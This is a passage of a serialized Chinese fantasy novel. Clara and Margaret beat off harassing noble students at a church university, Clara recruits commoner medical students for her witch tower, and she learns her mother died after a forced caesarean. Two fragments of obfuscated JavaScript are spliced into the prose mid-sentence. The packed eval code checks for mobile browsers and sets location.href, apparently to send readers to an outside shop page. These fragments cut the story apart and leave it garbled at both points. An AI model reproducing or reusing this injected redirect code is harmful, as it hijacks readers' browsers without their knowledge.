宽敞的道路上洒了一层很薄的盐,引领她们的司门骄傲道:“盐可以驱散冰之恶魔,只有教会才能做到这种程度!” 这些撒在地上的盐,确实让道路没有再结冰。克劳拉垂下眼,雪白的盐是多少平民消费不起的东西,而今却被教会随意地踩在地上。 道路两边是被雪覆盖的花园,司门滔滔不绝地介绍着这些花园一年四季都会开放名贵的鲜花,无数贵族掷千金也想要来此观赏。 克劳拉环视着这所学院,光看外表倒和王室的庄园差不太多,但是她知道内部肯定就和教堂一样,墙上是各式各样华丽的彩绘,悬挂的是从古至今的艺术品名画,图书馆收藏的是来自世界各地的各种书籍。 贵族们的金钱与各种稀珍品源源不断地运往这里,只为了培养优秀的、掌握国家各方各面命脉的男人们。 “十二月大多数学生已经回家了,学院里只剩下部分学生,当然大都是阿方索阁下希望的平民学生——他们的教室在另一头,我带您二位前去。” 阿方索的介绍信里理由确实写的是他需要,不过克劳拉会在学生们面前说清楚,至于他们愿不愿意来德林郡,就是另一回事了。 踏入这里后,克劳拉觉得这里的人恐怕不会愿意去到德林郡,而是更想要前往繁华的城市。 穿过几座楼,克劳拉真心感慨这座学院的大且富,人工河环绕着学院,河边栽着柳树——因为冬天,枝条被冻得很结实,无法像春日一样随风飘荡。 精巧的雕像、若大的多层喷泉、华丽而又古老的尖顶建筑。内部也像她所想的那样,有着各式名画与华丽的浮雕。 玛格丽特紧张又激动的握住克劳拉的手臂,目光一直未离开过这些壁画与浮雕。 意识到自己可能捏疼了克劳拉,她轻声地道歉。 克劳拉摇摇头,表示没关系。和她的激动不同,克劳拉在这些艺术品之下看到了众多工匠的付出与智慧。克劳拉在想,他们获得的薪水,能够让他们的后代于此就读吗? 顺着楼梯往上,克劳拉听到了一阵喧哗,似乎有一群学生正朝着她们的方向而来,声音越来越近。 抵达二楼走廊时,她们迎面撞上了这行人。大约有五六位男士,手中拿着书本,肆意谈笑着,见到克劳拉她们,这群人逐渐噤声,但笑容与眼神让克劳拉很不适。 司门向他们点头示意,领着克劳拉走侧边让开道路。 “等等,”为首的男子用手指转了一圈书本,拦住了几人的去路,他玩味地笑道,“原来学院里可以提供这种服务啊,怎么我们一直不知道?” “还一次两个,是谁啊,该不会是加西亚那暴发户吧!” 男人们发出一种哄笑。 司门连忙道这是大主教阁下的客人,但也没过多解释。 “神父也玩得这么花?” “正因为是神父,才憋久了吧。” 克劳拉有些听不明白他们在说什么,但是也知道是不好的话,这些人就像是一群聒噪的蛐蛐一样,她皱眉。 而她身边的玛格丽特气得脸色涨红,身躯微微发着抖,看到克劳拉疑惑的表情,她颤着嗓子说:“他们,他们,将我们误会成低贱的妓女。” 克劳拉眉心皱得更紧了,将她挡在身后,冷声道:“你是哪家的人,真是无礼!” “这位是坎贝尔大公的二公子,在这边求学……”司门不敢得罪这位大公之子,相比之下,还是得罪两位小姐吧。 坎贝尔脸上挂着丑恶的笑容,这让他本来就平平无奇的脸变得扭曲,“怎么,听到这个名头吓到了吗,我的身份可比神父高贵多了,看你们长得还算不错,要跟我吗?” 克劳拉理都没理他,她问一句玛格丽特,“会打架吗?” 弗洛伦斯的剑术这么强,她的姐姐应该也不弱吧。克劳拉如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913804|129069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此认为,她一扯斗篷的系带,虽然来教会内部必须穿裙子,但她今天穿的是那条足以冒充裙子的裤装。 “嗯。”玛格不知道她要做些什么,紧抿着唇。 见此名叫坎贝尔的男子伸手想要触碰克劳拉,“这就投怀送抱吗,也太心急了……” 克劳拉微笑着抓住他的手狠狠一拧,抬腿就踹中了他的腹部。 坎贝尔一时不知道是弯腰捂住剧痛的腹部,还是先在乎被反拧的手臂,他发出杀猪般的惨叫,叫嚷着怔在原地的小弟们帮他挣脱。 一位胖子朝克劳拉扑来,握住坎贝尔的手仍然没有松开,反而侧身一步,彻底将他的手臂反扭至他背后。 “要断了!啊!你这个贱人,我饶不了你!” 下一刻他就被克劳拉踢中腿心,跪倒在地。 克劳拉又微微一躲,终于松开了他的手臂,同时伸脚一绊,让另一位贵公子和高贵的坎贝尔男士摔做了一团。 察觉到身后一阵劲风,克劳拉还没来得及躲,身后的那人就被玛格丽特一拳捶倒在地。 玛格丽特眼尾发红,一副害怕得要命的样子,手中的动作却毫不留情,又一拳击中了男人鼻子,手套上沾染了点点深色的液体。 司门试图阻拦,但克劳拉一晃手警告,他立刻安静如鸡,缩回楼梯口。不过十分钟,几位男士全都躺倒在地。 贵族安逸太久了,虽然习武,但真能打的只是少部分——至少这些人就是那群养尊处优的少爷们。 “啊啊,看看这些软脚虾,才几下就被打趴下了,我都没出汗。”克劳拉恶劣地在坎贝尔的脸上踩了几脚,“人丑,就更应该谨言慎行,这下好了,变得更丑了。” 玛格丽特将散落的书籍整理好,叠放在角落,随后才害怕地贴在克劳拉身后,完全看不出几分钟前她凶狠的模样。 鼻青眼肿的坎贝尔挣扎地询问两人的身份,“等着吧!等我回阿奎尼,定要让人杀死你们!” “你猜,”克劳拉这回拿出的是王室的纹章,她身上总是被迫带着各式纹章,这点实在有些麻烦,她把玩着这枚狮鹫纹章,“阿奎尼的国王会为了你得罪索滋帝国王室吗——侮辱王室,在索滋可是重罪。” 坎贝尔不敢置信地睁大眼,似乎想要伸手查探这枚纹章的真假,但克劳拉踩住了他的手。 她直起身,用轻蔑的眼神,居高临下俯视这一群如死猪一般趴在地上的家伙,“现在滚,在我离开学院前不要让我看到你们,不然下次就不会只挨一顿打这么简单了。” 小弟们先一步连滚带爬跑走了,他们都只是些小贵族,更加害怕得罪王室。 而坎贝尔试图从克劳拉脚底抽出自己的手,最后他哭求着道歉后,克劳拉才勉强移开脚,她抱怨着,“这可是我新做的鹿皮靴,没穿几次就踩到脏东西了。” “西亚尔玛的鞋匠很会做鞋子,等回去后我们再做一双。”玛格丽特以为她真在为鞋子伤心,立刻安慰她。 克劳拉笑起来,“玛格,你可真可爱。” 玛格丽特又红了脸,只是这一次是因为害羞。 笑容一敛,克劳拉凌厉的目光扫向司门,“愣在那里做什么,继续带路。” 她拾起斗篷披上,又抱怨道:“耽误我的时间,你们的学生确实挺自由的啊。还是说这里的教授们也就是这种人?” 司门立刻为大学的教授们辩解,再三申明那些不守礼的家伙只是少数,大学的学生大都是遵守教规的绅士。 对此克劳拉不置可否,她现在只想快点见到那群平民学生,然后赶紧离开这里。还是那句话,当你见到一只害虫时,多半就会有一群害虫。 连玛格丽特都不复刚进来时的兴奋,她低垂着头,不知在思索些什么。 64. 第 64 章 “这里是解剖教室,请两位在门外稍等一会,很抱歉目前有教授正上课……”司门将未尽之语吞下,不敢说女人不能进课堂,害怕像那群贵族一样被打。 走廊里很冷,克劳拉有白珠,并没有受什么影响,玛格丽特则是纯正的北境人,在寒风中显得相当自在。 只有可怜的司门又怕又冷,缩在教室门口瑟瑟发抖。 克劳拉靠墙抱胸,问他大学里都学些什么。 司门立刻警惕而又小心地觑着克劳拉,闭着嘴不愿说。 教会的人一如既往的吝啬且没眼光,克劳拉冷哼一声,无非是些神学、律法、自然科学这些她在女巫处也能学到的东西。 医学甚至还不如女巫们,达索琳上课时曾提到过这方面——目前主流医学为□□论,它认为疾病是由于机体内部□□紊乱导致身体内部平衡被破坏。 无可否认这种理论是先进的,它打破了神学垄断,否认疾病的产生是因为信徒不够虔诚。 但达索琳认为该理论近百年没有任何发展,而且治疗手段也配不上先进理论,至少绝大部分医生只知道放血、泻药、催吐等治疗手法。 草药被认为是女巫的手段,极少有人使用,只有教会内部才被允许研制。 治疗外伤,譬如断肢,若是没有腐烂及时医治还好,医者会用夹板固定好断处;但若是出现了腐烂医者的做法相当残暴,直接用锯子或是钻头砍下断肢,最终病患会因为失血过多或是感染其他疾病而亡。大面积创口则使用烙铁,烧灼伤口。 达索琳对于这种全然不顾患者感受的治疗方法没太多好感。得知克劳拉想要将带一批平民医者回领地,她没有多说些什么,只表示这些医者她会额外考察训练一番。 显然她并不相信大学的教学水准,哪怕这是代表了这片大陆目前最先进的思想与知识水平。克劳拉对女巫们向来是毫无保留地信任,一口答应了。 不到半小时,教室的大门被打开,一位捧着书籍,脸戴石英眼镜的老学者缓缓走出。他已经提前得知了两位女士的到来,他的眼里很平和,没有任何鄙夷不屑,“请吧,我稍微提前了一点下课,为您留了些时间。” 玛格丽特其实并不清楚克劳拉来大学的目的,她轻轻推了克劳拉一把,目送着眼前的女孩一步一步走向教室的正中心。而她和这位老教授一同,站在了不起眼的角落。 这是一间正方形的教室,三面是逐步抬高的阶梯与课桌,一面悬挂着前人的画像。正中心就是视野的最核心,这间教室里三四十位年轻的学子都在注视着克劳拉。 解剖台上还有未收拾好的教学道具,散发着阵阵腥臭,这让克劳拉蹙起眉,但并未对她有太大的影响。 她环视一圈“看台”上的学生,他们的眼神或好奇、或疑虑、或轻蔑。她清清嗓子,开口道:“我是克劳拉·德文希。我的身份并不重要,重要的是我站在这里的原因。” “虽然这么说会让你们难受,但事实就是——你们在座的各位,即使从大学毕业后,也难以在这片以贵族为尊的大陆出头,最终过得也就和农民差不多。” 安静的教室立刻像滚油里倒入几滴水一样,沸腾起来,学生们交头接耳、议论纷纷。他们被克劳拉语气中的轻视激怒了,甚至有人拿起桌上的帽子砸了过来。 “你凭什么这么说!” “再怎么样也轮不到一个女人来说我们!” 对于他们的反应,克劳拉觉得有些好笑,大多数人只有在戳中他们痛点才会跳起来,全然不顾任何礼仪,尤其是男人们,你可不能说他们不行。 她仔细打量了一下解剖台上的道具,继续说道:“这具猪的尸体,已经腐烂,这可是冬天,按理它不应该这么快腐烂。教室里明明有壁炉,却没有燃烧。” 她一顿,确认了某个真相,“平民和贵族是分开上课,只有贵族的课堂才可以燃烧壁炉,而这只猪也不过是他们课堂上用剩下的东西,我猜得应该没错。” 这下教室里又变回鸦雀无声,那些平民学子们各个露出屈辱的表情——学费已经够贵了,燃煤是另外的价格,而且也不低。 “看吧,那你们生气是因为我说中了你们的痛处吗?”克劳拉耸肩,“毕业后的你们,无非去乡下成为一名牧师,娶一位妻子,生几个孩子,过完拮据的一生。虽然牧师可以免税,但底层的牧师可没什么薪资更只有一小块田地,能进入核心教会的机会少得可怜,还不如寄希望于你们被一位贵族小姐看上。” “有些背景的,你们或许可以加入医者协会——若是你们交得起高昂的考核费用的话。但是很可惜贵族不会聘请平民医者,你们最终的归宿仍然是乡下,重复我所说的拮据生活。” “或许你们当中有理想报复的,想要回到老家,为邻居家人们进行医治,发挥你们的毕生所学——但没有医者协会认可的医生,下场只会是被吊死,你们明明学习了医术,但没有金钱资本,仍然只能像地沟里的老鼠一样,见不得光。” “当然,你们还可以留在这座神圣的学院,成为教授的助理、扫地的司门、食堂里的切肉的屠夫,不管怎么说至少你们还在圣光的照耀下。” 克劳拉毫不犹豫地将这些残酷的事实摊开在他们面前,这些平民能够上到大学已经是用尽了全力,耗尽了钱财。但当他们满怀期待的离开这所大学,以为他们的阶级地位会与父母亲人截然不同后,这个国家会给予他们致命的一击——他们与贵族之间的差距仍然如天堑一般。 只有极个别人才能像阿方索那样,一步步走到大主教的位置,他的成功太难复刻了。教会虽然吸纳了很多平民,但他们的地位都很低,更多的是底层。教会的核心几乎全是各国贵族出生,更不用说现任教皇就是克伊帝国的王弟。 不出意外地感受到这些人的悲愤与怨恨,他们握紧双拳,眼眶发红。老教授取下眼镜,拿出怀中的手帕,细致地擦净镜片,又缓缓戴上,试图看清处于人群焦点的女孩的脸。 感受到学生们投来的隐晦目光,他悠悠地道:“她说得没错。” 这句话就像是压死人的最后一根稻草,让这群对未来仍然抱有幻想的平民学生难以抑制地生出些许绝望——原以为进入大学他们就获得了改变命运的机会,没想到这份命运却早已明码标价,而他们根本支付不起。 这是克劳拉无师自通的一些小手段,直接表明来意,只会让这些自视甚高的学生看不起她,也懒得搭理她。不如将他们的自尊心踩在地上,让他们明白,只有她才可以带来更好的未来。 “好了,男士们,不要垂头丧气,我今天来可不打算将你们的未来贬低得一无是处。”克劳拉露出了笑容——才怪,她就是——她抬手,“这是德文希家的纹章,足够证明我的贵族身份,我正在德林郡建立一座巫师塔——这座塔里没有高低贵贱之分,只凭实力说话。” “获得塔中大巫的认可后,我会在领地里为你们安排工作,并支付报酬——我敢发誓绝对比教会的更丰富,而你们只需要尽到应尽的义务即可。” “医者协会?不用担心,一旦你们能够通过大巫的考核,在德林郡、西亚尔玛郡、斐迪南郡,你们将享有医者同等权力,而后会有更多 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半响,克劳拉觉得时间足够了,她抬起的手臂微微向下压,“但是,我事先要告诉你们,巫师塔的核心大都为女巫,你们极有可能会站到教会的对立面。” 果不其然部分原本有些意动的学子又变得犹豫起来,他们所受的教育女巫一直是邪恶的象征,近两年教会又莫名改口,但他们的观念仍然没有改变。 “我会在西亚尔玛度过冬星节。节后的第三天我就会离开这里回到德林郡,如果有人想搏一搏命运,请在那之前来到要塞最北端。当然,你们想按部就班地走完这一生也无所谓,德林郡欢迎的是真正热爱医学,真正想要拯救广大平民的医者;是有决心想要改变、发起变革的勇士。” “抱歉占用了你们的时间,我想我该离开了——希望半个月后,还能再见到各位。” 克劳拉微微行礼,再次沐浴着众人的目光,一步步踏上阶梯。 老教授朝她点头示意。 她同样回以友善的微笑,随后与快步来到她身边的玛格丽特,一同离开了这间教室,大门关上后,将巨大的喧哗与争吵声也隔绝到了身后。 回程时,克劳拉这才有心思慢慢欣赏这些艺术品,不可否认这些工匠的伟大,他们精巧的技艺相信百年后仍然能够熠熠生辉,相比之下,只需要张嘴的教会神父们对历史的贡献微乎其微。 “这所学校,不过如此。”玛格丽特忽然说道,她像是放下了执念,腰都挺直了起来,“克劳拉你可比那些学生们强多了!不管是那几个嘴里恶臭的贵族,还是那些天真的平民。” “谢谢夸奖。”克劳拉真情实意地笑了起来。 两人决定在这所校园里再逛一逛,虽然这里的学生不够美丽,但学院里的景观配得上它的盛名。 准备离开时,克劳拉远远望见了那位教授黑色的身影,她拉着玛格丽特追了上去,叫停了教授。 “您好,感谢您刚刚为我留出的时间。” 教授又取下眼镜擦拭着,又慢慢将镜片卡进眼窝里,“你的演说很精彩,很难想象是一位半大的孩子说出来的。” 他没有提及克劳拉的性别,只是单纯地将她看成是一个孩子。 “谢谢您的夸奖。”克劳拉再次鞠躬行礼,面对这位充满智慧的老人,正式地表明了自己的来意,“虽然这么说很不礼貌,但您能为我解答一下,医者协会要求产妇使用平卧式的原因吗?” 教授有些意外,他扶了扶镜片,眼里有莫名的悲悯,“没有什么原因,只是为了观察而已。医学发展需要观察实践,仅此而已。” 65. 第65章 这确实是浅显的理由,看起来轻飘飘的,实际又分量很重。 但这个理由让克劳拉情绪骤然变得十分低落,就算出了学院,与骑士们汇合,也没让她心情好起来。 随意敷衍了塔的问询,她强打起精神,只说道:“是时候回去了,希望能赶上晚饭。” 回程时那帮骑士们都变安静了,在后面嘀嘀咕咕不知道商议些什么,克劳拉以前绝对会关注一番,免得他们又出去搞事情,今天实在没有精力在乎。 她忍不住一直回想老教授的话,“牺牲少部分人,造福后世大多数人,这是一件伟大的事,也是医者必须肩负的责任——哪怕会遭受众多的非议。” 话虽然如此,她总觉得很难受,凭什么一定要是她的母亲遭遇这些。她仿佛陷入了一个死胡同,在心中不断衡量母亲和其他人的重量。 “他的话是错误的。”玛格丽特忽然很小声地说,见克劳拉望过来,她又红了脸,支支吾吾道,“啊!我就是随口一说,我知道自己没资格评论一位教授,你不要在意……” 但克劳拉鼓励地望着她,“没关系,你继续说下去。” 组织了下语言,玛格丽特犹豫着道:“先说他的那句话,牺牲少部分人,让其他人获利:帝国有很多死刑犯,他们为什么不利用死刑犯,不研究那些病得快死的患者——当然是在取得他们同意后,而是非得要牺牲一些对他们怀揣着信任的人呢。” 玛格丽特抿唇,她想到了要塞里那些士兵,很多时候战争不足以要他们的命,反而是回要塞后粗暴的治疗方式与得不到及时的照顾,才是导致他们死亡的原因。 “医学发展和观察几个女人生育有太大的关系吗?就算有关系,我认为发展不应该是用让女人难受的方式观察她们生育的情况,而应该找寻让女人舒适且安全的方式……” “而且您明明询问的是女人的事,他却回答的是所有人的事,说得那么大义凛然,让你没有办法反驳。你一反驳他们就会高高在上指责你,指责你忽视世间所有的苦难,就好像这些苦难都是女人们造成的。” 她紧张地捏着裙摆,不知道这些想法会不会让克劳拉觉得她怪异,小心侧头后却看到克劳拉灼灼的目光。 “你说得太对了!玛格!”克劳拉忽然明白了那个教授的狡诈之处,也是教会的常见说法。 你一旦提到女人,他们就会将事情上升到更高的层面,会变得相当悲悯,会告诉你和人类一路发展遭受的苦难比起来,她们遭受的不值一提。 可是,没有谁生来就应该遭受苦难的,这是强盗的逻辑,苦难不应该用来被比较,也不是为了什么发展,只是那些忽视女人苦难的人用来推脱责任的借口! 帝国是这样,恐怕教会所到之处都会变成这样,克劳拉不由得有些好奇维尔图是什么样的。 她戳了戳前排的塔,“维尔图人的医术也是只掌握在祭司和她的继承人手中吗?” 医术,对塔来说是一个陌生的词汇,但他结合了克劳拉之前说过的话,大致理解了这是指受伤或是生病治愈的方法。 “大母会教给族里所有女人如何处理伤口,当然男人们也会学习——尤其是战士都要学会简单的处理方法,致命伤口的时候能坚持到大母面前。” “草药这些聪明的家伙才会去学,”塔一顿,想到自己不仅不学习草药和文字,还惹大母生气,他为自己找补,“我只是没时间……” “你们全族人都会处理伤口?”一路沉默寡言的驱车士兵立刻双眼发光望过来。 “简单地处理没问题……” “教教我们!付钱也好,需要什么也好,反正我们会付报酬——要塞的医者各个都藏着掖着,姐妹会的小姑娘们又不可能各个都和我们跑到山脉去……” 塔没有立刻答应,而是看向克劳拉,士兵噤了声,只可惜他得看路,不能用真诚的目光打动克劳拉。 “如果你们祭司没意见的话……”毕竟是他们族里的东西,克劳拉也不能替祭司做主。 “我,我会代表祖父,去和这位祭司交易。”玛格丽特鼓起勇气,她已经放下了对大学的执念,现在的她回想起那些封闭自我的生活就觉得十分后悔,她决定要做些什么为祖父也为士兵们分忧。 克劳拉想到的是另一件事,不如索性让弗洛伦斯和玛格丽特都去女巫塔学习,反正大巫们的课程未必比大学差。等回到要塞她一定询问弗洛伦斯的想法。 “真的可以吗!”弗洛伦斯眼睛发亮,原本她被关了好几天,正生祖父的气,听到克劳拉的询问,她一扫被关禁闭的阴霾,惊喜地拉着克劳拉转圈, “蕾莱老师也在那边吧!说不定我也能成为一位女巫!然后把这群坏得要死的教会人全部打飞!” “你都能成为女巫的话,简直拉低了女巫的水平。”玛格丽特在妹妹面前一改之前的羞涩,变得毒舌起来。 弗洛伦斯扑上去撕打她,“你才是拉低水平,我敢发誓大巫们绝对不会让你通过考核!” 克劳拉原本想阻拦她们,却发现她们与其说是扭打,不如说是闹腾挠痒痒。于是只带着笑意旁观起来。 闹腾了半天,弗洛伦斯冷哼,“不和你计较了!” 她低头整理自己的衣服,语气一变,目光转向克劳拉,“所以,你弄清楚理由了吗?” 玛格丽塔拉着她的手臂,不想让她追问这个问题。但弗洛伦斯固执地与克劳拉对视,她也想要知道原因。 “只是为了观察。”克劳拉说出这句话时,忽然笑了一下,意味不明,她也不知道自己为什么想笑,“是的,只是为了观察。” 抛去那些复杂的浮于表面的理由,在这些医者眼里,产妇和解刨台那只猪没有太大的区别。 “果然如此吗。”弗洛伦斯却忽然红了眼眶,“那老师妹妹受的罪算什么啊,杰克甚至不准我们姐妹会的人去照顾她,她怎么样了、过得好不好、伤口恢复没有,我们都不知道,老师又不在领地,如果她伤口感染死去了,老师做的一切又算什么啊!” 她忍不住扑到床上大哭起来,“狗屁的观察,他们怎么不去观察母猪下崽啊!” 玛格丽特坐在床边安抚她,眼睛却一直注视着克劳拉,同样担忧她的情况。 半响,弗洛伦斯才坐起来,慢慢擦去眼泪,她哽咽着,“你母亲蒂斯萝丝说不定就是因为平卧式才难产死的呢,老师说过最开始这个方法在王都兴起,后来才扩散到其他郡里。” 克劳拉扶着床柱,神情晦涩不明,或许是吧,总归和医者协会有关。 “蒂斯是因为被剖开了肚子。”侯爵出现在了弗洛伦斯房间门口,带来了让克劳拉更加不能接受的事实, “教会规定孕妇哪怕死亡也要将孩子剖出来,接受洗礼。” “他们认为蒂斯难产必死无疑,所以剖开了她的肚子,并只进行了简单地缝合——没想到你们却活了下来,为了掩盖这一恶行,他们声称蒂斯被恶魔带走。” “这就是真相——蒂斯死于伤口感染,她去世前还试图用草药自救,但是教会不允许草药流露在外。” “啊。”克劳拉发出了短促、无意义的气音,她试图理解侯爵的每一句话,僵硬地转头,她看到了同样震惊的伊登。 “可是,祖父您是怎么知道这么清楚的,您没有离开过王都,说不定是假的……”玛格丽特第一次由衷地希望她的祖父在撒谎。 “哈里森亲眼所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没有惊动安娜,克劳拉小心地下床,赤着脚拉开一丝窗帘,透过玻璃窗户,她看到一片蓝紫色的天空,璀璨的星河与绿色的极光交汇着。 人们常说死后升入天堂的人会化作一颗星星,克劳拉觉得蒂斯萝丝的话肯定会是最亮的那颗,所以她仰着头极力辨认着。 摸到毛毯下空无一人的安娜瞬间清醒,她猛地站起身,眼睛适应了片刻才看清空荡荡的床铺,她惊慌失措,“小姐!小姐!” “安娜,我在这里。” 安娜巡声望去,克劳拉侧身站在巨大的落地窗前,只穿着简单的睡裙,还赤着脚。星空映在她身上,在她脸上留下斑驳的光影。 她无法言说这一瞬间心中升腾的莫名情绪,最终心疼压过了其他感情。拿起挂着的斗篷,快步来到克劳拉面前,为她披上,“您生病还没好,怎么穿这么少?” “大家都很担心,等天一亮我立刻告诉大家——您是回床上继续休息吗,还是我去厨房弄些吃的。” 等不到回应,安娜仰头,观察克劳拉的神色。 察觉到她担忧的目光,克劳拉回过头,安抚地笑了笑,“那辛苦你了,替我弄些吃的吧。” 安娜很快离开房间了,她走之前,说什么都要让克劳拉好好坐在床上,不可以光脚乱跑。 没忍住,克劳拉摸了摸她的头,目送她关上房门,才盘腿继续望着那片星河。 细微的推门声在寂静的夜里显得有些突兀,紧接着是很轻的脚步声,克劳拉没有回头。 来人绕过木床,来到她面前,慢慢蹲下。 被注视着的克劳拉,轻轻笑起来,“就知道你会来。” 66. 第66章 克劳拉伸手慢慢描绘着这张和母亲相似的面容,她和伊登之间总会有莫名的感应,她毫不费力就猜到第一个来找她的绝对是伊登。 手被紧紧握住,很快又松了力道,伊登将她的手抵在自己眉心,一言不发。 “抱歉让你担心了。” 伊登一直保持着这个姿势,直到克劳拉拉着他坐到床边,她将额头靠在伊登的后肩处,“我知道你不能理解我为什么反应这么大,我们明明都对母亲没什么太多的感情。” “但是呢,被那样对待的不仅仅是我们的母亲,还有很多很多人,未来也会有更多人会那样失去性命——或许还会有我。” 她抬起一只手,搭在伊登另半边肩膀上,阻止了他想要侧身的动作。 “听我说完——艾洛薇很久以前问过我,为了反抗这些我要做些什么。我以为我可以视而不见,继续当我的贵女,嫁给喜欢的人,幸福地过完一生。但我做不到,我要获得改变这些的力量与权力,如果成为王才能做到,那我就成为王,为此我可以付出一切……” 话没有说完,伊登理解了她的未尽之语,他说:“你希望我做什么。” 克劳拉内心剧烈挣扎,她紧紧抓住伊登的衣角,伊登没有穿睡袍,而是穿戴整齐,也许他一整夜没有换衣服,也许他专门为来见克劳拉换好了着装。 最终她张了张嘴,只说道:“我希望你和霍恩·温斯顿保持联系,从他那里获取一些王室的动静。” “若拉,既然想要利用身边的人,就不要有任何犹豫——哪怕是对我。”伊登声音很轻很空,他太了解克劳拉,就像克劳拉了解他一样, “我知道该怎么做了。” 他的话让克劳拉心沉入谷底,明明是她希望的,但是伊登说出来后,她却忍不住唾弃自己。 “想要成为国王,就收好你不必要的自责、内疚,国王只会作出正确的决定。” 伊登的第一次对着克劳拉用这么冷漠的语气,但在克劳拉看不到的角度,他的神色却很温柔——若拉想要的东西,他都会为她争取到,不择手段。 天还未亮,要塞已经开始运作。凌晨时分一阵暴风雪,但现在已经放晴,蓝紫色的天空只有少量积云。 “克劳拉,你身体才刚刚恢复,真要一起去山脉附近?”弗洛伦斯总是担心克劳拉没有退烧,明明已经克劳拉醒后过去好几天了。她担心得连蕾莱的情况都不在意了,反复用手背贴克劳拉的额头和衣领下的后颈。 克劳拉被她冰凉的手背冻得一激灵,有时候都忍不住怀疑她是故意的,“我已经没什么事了!” 山脉附近再次发现了巨魔的脚步,这次数量很多,目测超过了百只。侯爵率领先遣部队已经出发,克劳拉和弗洛伦斯所在的车队是后勤补给。 士兵们还在将物资搬上雪橇,半小时后才是正式出发的时间。 “介绍一下,这是查理,后勤小队的队长。他是一位非常优秀的士兵!已经在后勤呆了近10年了!”弗洛伦斯将一位士兵领到克劳拉面前。 后者立正向克劳拉行礼,随后微红着脸道:“我是来向您道歉的,我的兄长前些日子冒犯了您和弗洛伦斯小姐。” 克劳拉疑惑地望向弗洛伦斯,弗洛伦斯解释道:“查理的兄长就是杰克,这些天查理已经说服杰克,让姐妹会的人去照顾莫莉啦!一切都会好起来的!” 查理闻言也不好意思地挠头,“明明你们救了莫莉,杰克却这么对你们,总之真的很抱歉!我想象不到莫莉若是过世了,家里会有多糟糕!” 他又朝着克劳拉鞠躬,反而让克劳拉不好意思起来,连忙扶他起来,“没关系,这是我们应该做的。” “也不怪杰克,我们到底没有保住莫莉的孩子。”弗洛伦斯一想到那个在她眼前逝去的生命,不由得有些低落。 查理眼神也变得暗淡,莫莉身体不好,一直难以有孕,这是兄长的第一个孩子,说不定也会是最后一个。 不远处有士兵呼唤查理的名字,查理朝着两人行礼,很快跑开。 整装出发时,城墙上出现了玛格丽特的身影,她已经逐渐愿意出门帮助侯爵处理些事务了,这次远征她会留在要塞后方。她朝着后勤队伍挥手,弗洛伦斯也高举着手示意。 驶离这座石头要塞后,克劳拉心中又隐隐有不好的预感,“侯爵在要塞留了防卫军吧?” “留了不少,”弗洛伦斯抱怨着,“都说了不要将圣殿骑士放进来。” 前些日子,侯爵派人跟随圣殿骑士们的踪迹,结果那数十位骑士的痕迹在树林中消失不见了。 教会里也有巫师,他们若是也使用了传送阵并不奇怪。但这意味着圣殿骑士们随时还会再来,侯爵不得不留下更多的兵力驻守要塞,还紧急调整了城防布局。 安娜自告奋勇与一批要塞骑士前去搜查法阵的痕迹。她与克劳拉还有雪鸮骑士之间可以由渡鸦传讯,所以克劳拉并不是很担心她的安危。 雪鸮骑士们也留在了后方,他们没有雪山作战经验,在后方防守反而是最好的选择。 天边泛白时,克劳拉注意到士兵们都戴上了奇怪的骨面。弗洛伦斯递过来一个同样的骨面,示意她戴在眼睛上。 骨面约两指宽,在中间刻了一道很小的缝,克劳拉拿在手里翻来覆去研究,不明作用。 弗洛伦斯忍无可忍抢走替她戴上,“这是护眼睛的面具,再远些的地方只有白茫茫的雪,若是不戴着,迟早会瞎掉。” 戴上后视野瞬间变得十分窄小,但缓解了光落到雪地上再反射至眼睛的那种刺痛感。克劳拉将面具抬至额头,睁大眼睛盯着雪面,又立刻戴好面具,如此反复几次。 引来声旁人的吐槽:“克劳拉你是小孩子吗?” 士兵们也发出善意的笑容,被他们这么一笑,克劳拉反而有些涩然,老老实实将面具戴好。 队伍行进速度并不慢,士兵们基本没有坐在雪橇上,而是徒步行走。只有克劳拉一人和行礼坐在一起。 对此弗洛伦斯的解释是:“你从来没徒步上山过,不如呆在雪橇上,和我们一起走还拖累我们速度。” 队伍还有几位姐妹会的女孩,也裹得严严实实和士兵们徒步,让克劳拉觉得有些不好意思,但她也没有非要逞能。 一路上一直有些散落的小村落,屋内空无一人。弗洛伦斯告诉她,这些房屋的主人等到春天就会回来,冬天他们都会集中住进要塞里,方便管理,也是为了安全。 “您应该夏天来德林山脉!”查理说,“等到夏天时,放眼望去一片绿色的草原和澄澈的蓝天,远处是连绵的山脉,近些是小溪以及盛开的鲜花。” “翻过两座山头,就能看到瓦登湖,可惜湖面已经结冰,等夏天时,您会被她那如少女般温柔的湖面所折服,我敢保证。” 士兵们你一言我一语说起夏天的德林山脉,成群的牛羊、肥美的猎物、在山间嬉闹的孩子与少女们。 克劳拉抱膝静静地听着,这是她在王都从未感受过的生活。原本明年五月节她应该回王都过节的,但她忽然改变主意了,她要在这片被众神亲吻过的土地度过春天与夏天。 等到了山附近队伍里又回归一片沉寂,路况变得陡峭且不便行走,克劳拉不得不紧紧抓住扶手。最陡峭的地方,士兵们还得推着雪橇前行。 越往上,克劳拉觉得有些恶心头晕,耳朵也在嗡鸣。不过比起传送阵那时的感觉,这会的症状还是她能忍受的范畴。 天色又渐暗,北境的白日总是很短暂。经过了近8个小时跋涉,队伍终于在天完全黑之前到达了第一个据点,这里还留有先遣部队驻扎过的痕迹 士兵们井然有序地清理积雪,生火扎营。帮不上忙的克劳拉被安排去篝火处帮女孩们煮食物。 为了防止在冬夜一睡不醒,士兵们都需要轮流起来巡视。第二天临近出发时下起了暴风雪,克劳拉被叫醒清理帐篷上的积雪。 